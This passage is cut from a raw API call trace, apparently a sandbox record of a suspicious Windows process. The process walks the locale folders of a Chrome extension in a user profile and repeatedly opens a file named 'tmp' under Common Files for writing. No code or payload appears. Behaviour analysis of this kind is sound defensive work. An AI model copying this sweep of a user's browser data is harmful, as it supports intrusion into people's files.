ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.629] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.629] GetLastError () returned 0x12 [0145.629] AreFileApisANSI () returned 1 [0145.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.629] GetFileType (hFile=0x194) returned 0x1 [0145.629] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.630] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.630] GetLastError () returned 0x12 [0145.630] AreFileApisANSI () returned 1 [0145.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.630] GetFileType (hFile=0x194) returned 0x1 [0145.630] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.630] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.630] GetLastError () returned 0x12 [0145.630] AreFileApisANSI () returned 1 [0145.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.631] GetFileType (hFile=0x194) returned 0x1 [0145.631] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.631] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.631] GetLastError () returned 0x12 [0145.631] AreFileApisANSI () returned 1 [0145.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.631] GetFileType (hFile=0x194) returned 0x1 [0145.631] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859f69d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859f69d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859f69d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.632] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.632] GetLastError () returned 0x12 [0145.632] AreFileApisANSI () returned 1 [0145.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.632] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.632] GetFileType (hFile=0x194) returned 0x1 [0145.632] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.632] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.632] GetLastError () returned 0x12 [0145.633] AreFileApisANSI () returned 1 [0145.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.633] GetFileType (hFile=0x194) returned 0x1 [0145.633] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.633] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.633] GetLastError () returned 0x12 [0145.633] AreFileApisANSI () returned 1 [0145.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.633] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.633] GetFileType (hFile=0x194) returned 0x1 [0145.633] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.634] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.634] GetLastError () returned 0x12 [0145.634] AreFileApisANSI () returned 1 [0145.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.634] GetFileType (hFile=0x194) returned 0x1 [0145.634] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.635] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.635] GetLastError () returned 0x12 [0145.635] AreFileApisANSI () returned 1 [0145.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.635] GetFileType (hFile=0x194) returned 0x1 [0145.635] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.635] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.635] GetLastError () returned 0x12 [0145.635] AreFileApisANSI () returned 1 [0145.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.635] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.635] GetFileType (hFile=0x194) returned 0x1 [0145.636] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.636] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.636] GetLastError () returned 0x12 [0145.636] AreFileApisANSI () returned 1 [0145.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.636] GetFileType (hFile=0x194) returned 0x1 [0145.636] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.636] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.637] GetLastError () returned 0x12 [0145.637] AreFileApisANSI () returned 1 [0145.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.637] GetFileType (hFile=0x194) returned 0x1 [0145.637] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a68df0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a68df0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.637] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.637] GetLastError () returned 0x12 [0145.637] AreFileApisANSI () returned 1 [0145.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.637] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.637] GetFileType (hFile=0x194) returned 0x1 [0145.638] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a68df0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.638] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.638] GetLastError () returned 0x12 [0145.638] AreFileApisANSI () returned 1 [0145.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.638] GetFileType (hFile=0x194) returned 0x1 [0145.638] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.638] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.639] GetLastError () returned 0x12 [0145.639] AreFileApisANSI () returned 1 [0145.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.639] GetFileType (hFile=0x194) returned 0x1 [0145.639] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.639] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.639] GetLastError () returned 0x12 [0145.639] AreFileApisANSI () returned 1 [0145.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.639] GetFileType (hFile=0x194) returned 0x1 [0145.639] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a8ef50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a8ef50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a8ef50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.640] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.640] GetLastError () returned 0x12 [0145.640] AreFileApisANSI () returned 1 [0145.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.640] GetFileType (hFile=0x194) returned 0x1 [0145.640] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ab50b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.640] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.640] GetLastError () returned 0x12 [0145.641] AreFileApisANSI () returned 1 [0145.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.641] GetFileType (hFile=0x194) returned 0x1 [0145.641] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ab50b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ab50b0, 